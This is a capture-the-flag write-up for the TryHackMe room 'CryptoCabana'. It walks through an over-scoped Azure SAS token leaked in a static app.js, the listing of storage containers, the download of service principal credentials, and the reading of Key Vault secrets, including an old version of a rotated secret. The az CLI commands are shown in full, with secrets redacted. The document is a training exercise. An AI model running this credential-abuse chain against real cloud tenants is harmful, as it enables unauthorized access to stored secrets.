Information
Room#
- Name: CryptoCabana
- Profile: tryhackme.com
- Difficulty: Medium
- Description: He never signed the transfer. The place he stashed his secret wasn't as sealed as promised.

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S azure-cliLore#
🛎️ Concierge Briefing
By the time he made it back from the breakfast buffet, his wallet had already moved on without him. The transaction was signed, properly signed, just not by him.
He'd backed his seed phrase up weeks ago, into the CryptoCabana kiosk's vault — the one whose landing page promised, in exactly four words, “Backed up. Sleep easy.” Somewhere between that promise and this morning, something else got a good look at what was supposed to stay behind glass.
Your objective: find out what the kiosk is quietly trusting to reach into storage on its own, and see how much further that trust actually extends.
📸 @0xMia's STORY
"the backup kiosk is SO confident. 'sleep easy' it says 💀 reader, do not sleep easy. also: if a value looks freshly rotated, ask yourself what it looked like five minutes before that 👀"
🏖️ TODAY'S ITINERARY
- [ ] Pull apart what the kiosk hands out for free before you've even clicked anything.
- [ ] Follow that trust somewhere the kiosk's own page never once points you.
- [ ] Somewhere in there is a second, more valuable set of keys — and a vault that won't give up the real values on the first ask.
Context discovery#
The seed phrase backup app is located at https://cryptocabanaf5scjagc.z13.web.core.windows.net/.
Accessing the app fetches the static app.js:
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=EDITED";
function backupPhrase() {
const phrase = document.getElementById("phrase").value.trim();
const status = document.getElementById("status");
if (!phrase) {
status.textContent = "Enter a phrase first.";
return;
}
const blobName = "backup-" + Date.now() + ".txt";
const url =
"https://" + STORAGE_ACCOUNT + ".blob.core.windows.net/" +
BACKUPS_CONTAINER + "/" + blobName + "?" + BACKUP_SAS;
fetch(url, {
method: "PUT",
headers: { "x-ms-blob-type": "BlockBlob" },
body: phrase,
})
.then((res) => {
status.textContent = res.ok
? "Backed up. Sleep easy."
: "Backup failed (" + res.status + ").";
})
.catch(() => {
status.textContent = "Backup failed — network error.";
});
}So Azure Storage credentials are leaking.
The provided BACKUP_SAS string is a Shared Access Signature (SAS) token for Azure Storage. It grants restricted access to Azure Storage resources (blobs, containers, queues, tables, or file shares) without exposing the account key.
Below is a breakdown of all the parameters in the SAS token:
| Parameter | Description | Example Value | Notes |
|---|---|---|---|
sv |
SAS Version | 2022-11-02 |
Specifies the SAS version. Use the latest stable version (e.g., 2022-11-02). |
ss |
Signed Services | b |
Indicates which Azure Storage services are accessible. b = Blob Storage. Other values: f (File), q (Queue), t (Table). Multiple services can be combined (e.g., bfqt). |
srt |
Signed Resource Types | sco |
Specifies the resource types the SAS can access. s = Service, c = Container, o = Object (blob). Here, sco means service, container, and object. |
sp |
Signed Permissions | rl |
Defines the permissions granted. r = Read, l = List. Other permissions: a (Add), c (Create), d (Delete), w (Write), u (Update). |
se |
Signed Expiry | 2099-12-31T23:59:59Z |
Expiration time of the SAS token (UTC). Format: YYYY-MM-DDTHH:MM:SSZ. |
st |
Signed Start | 2024-01-01T00:00:00Z |
Start time from which the SAS token is valid (UTC). Format: YYYY-MM-DDTHH:MM:SSZ. |
spr |
Signed Protocol | https |
Restricts access to HTTPS only (recommended for security). Other option: http,https. |
sig |
Signature | EDITED |
HMAC-SHA256 signature generated using the account key and the string-to-sign. This is the most critical part, as it authenticates the SAS. |
The SAS token is scoped with sp=rl (read + list) and srt=sco (service + container + object level). This scope isn't limited to the backups container, it's valid at the service level, meaning it can enumerate every container in the storage account, not just the one the app intends to expose.
Enumerating storage containers#
We can export the SAS token to use it easiy with azure CLI.
export BACKUP_SAS="?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=EDITED"Then enumerate the containers attached to the storage.
az storage container list --account-name cryptocabanaf5scjagc --sas-token "$BACKUP_SAS" -o tableName Lease Status Last Modified
------- -------------- -------------------------
$web 2026-07-16T18:26:22+00:00
backups 2026-07-16T18:26:22+00:00
vault 2026-07-16T18:26:23+00:00The 3 returned containers are:
$web: the static site (Standard container for Azure Static Website hosting)backups: where the app writes user-submitted seed phrasesvault: not referenced in the frontend code
Enumerating storage blobs#
We can try enumerating the blobs in each container now.
Website data.
az storage blob list --account-name cryptocabanaf5scjagc --container-name '$web' --sas-token "$BACKUP_SAS" -o tableName Blob Type Blob Tier Length Content Type Last Modified Snapshot
---------- ----------- ----------- -------- ---------------------- ------------------------- ----------
app.js BlockBlob Hot 1012 application/javascript 2026-07-28T04:06:10+00:00
index.html BlockBlob Hot 3063 text/html 2026-07-28T09:42:57+00:00The backups container is empty . Our seed phrase isn't stored, when trying to backup, I had Backup failed — network error..
az storage blob list --account-name cryptocabanaf5scjagc --container-name 'backups' --sas-token "$BACKUP_SAS" -o tableThe mysterious vault.
az storage blob list --account-name cryptocabanaf5scjagc --container-name 'vault' --sas-token "$BACKUP_SAS" -o tableName Blob Type Blob Tier Length Content Type Last Modified Snapshot
--------------------------- ----------- ----------- -------- ------------------------ ------------------------- ----------
backup-service-account.json BlockBlob Hot 360 application/json 2026-07-19T15:20:06+00:00
seed_phrase.txt BlockBlob Hot 88 application/octet-stream 2026-07-16T18:26:38+00:00We can try downloading those two juicy blobs.
az storage blob download --account-name cryptocabanaf5scjagc --container-name vault --name backup-service-account.json --file backup-service-account.json --sas-token "$BACKUP_SAS"
az storage blob download --account-name cryptocabanaf5scjagc --container-name vault --name seed_phrase.txt --file seed_phrase.txt --sas-token "$BACKUP_SAS"backup-service-account.json: Azure AD service principal credentialsseed_phrase.txt: not useful for us, we don't even know what it is used for
backup-service-account.json
{
"client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
"client_secret": "EDITED",
"key_vault_name": "ccabana-kv-f5scjagc",
"key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
"note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
"tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"
}Key vault enumeration#
Let's export the service principal secret so it's not logged in all requests.
export KV_SECRET="EDITED"Let's authenticate with the service principal.
az login --service-principal --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 --password "$KV_SECRET" --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6cNow lets enumerate the key vault secrets:
az keyvault secret list --vault-name ccabana-kv-f5scjagc -o tableName Id ContentType Enabled Expires
----------- --------------------------------------------------------------- ------------- --------- -------------------------
key-shard-1 https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-1 True
key-shard-2 https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2 True
key-shard-3 https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-3 True
master-key https://ccabana-kv-f5scjagc.vault.azure.net/secrets/master-key True 2020-01-01T00:00:00+00:00Let's get the secrets:
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "master-key" --query value -o tsv(Forbidden) Caller is not authorized to perform action on resource.
[…]az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-1" --query value -o tsv
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-2" --query value -o tsv
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-3" --query value -o tsvTHM{EDITED
Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
EDITED}key-shard-1 and key-shard-3 givefragments of the flag, but key-shard-2 was rotated.
As the secrets are versionned, we can list previous versions.
az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name "key-shard-2" -o json[
{
"attributes": {
"created": "2026-07-28T01:05:05+00:00",
"enabled": true,
"expires": null,
"notBefore": null,
"recoverableDays": 7,
"recoveryLevel": "CustomizedRecoverable+Purgeable",
"updated": "2026-07-28T01:05:05+00:00"
},
"contentType": null,
"id": "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0",
"managed": null,
"name": "key-shard-2",
"tags": {
"file-encoding": "utf-8"
}
},
{
"attributes": {
"created": "2026-07-28T01:05:07+00:00",
"enabled": true,
"expires": null,
"notBefore": null,
"recoverableDays": 7,
"recoveryLevel": "CustomizedRecoverable+Purgeable",
"updated": "2026-07-28T01:05:07+00:00"
},
"contentType": null,
"id": "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/c922c422ffb34671a902389c372314f1",
"managed": null,
"name": "key-shard-2",
"tags": {
"file-encoding": "utf-8"
}
}
]Display the oldest version:
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-2" --version "3d6492d2c6f74123bc754a9ded22b2a0" --query value -o tsvWith that, we got the second part of the flag and now can bring all the parts together.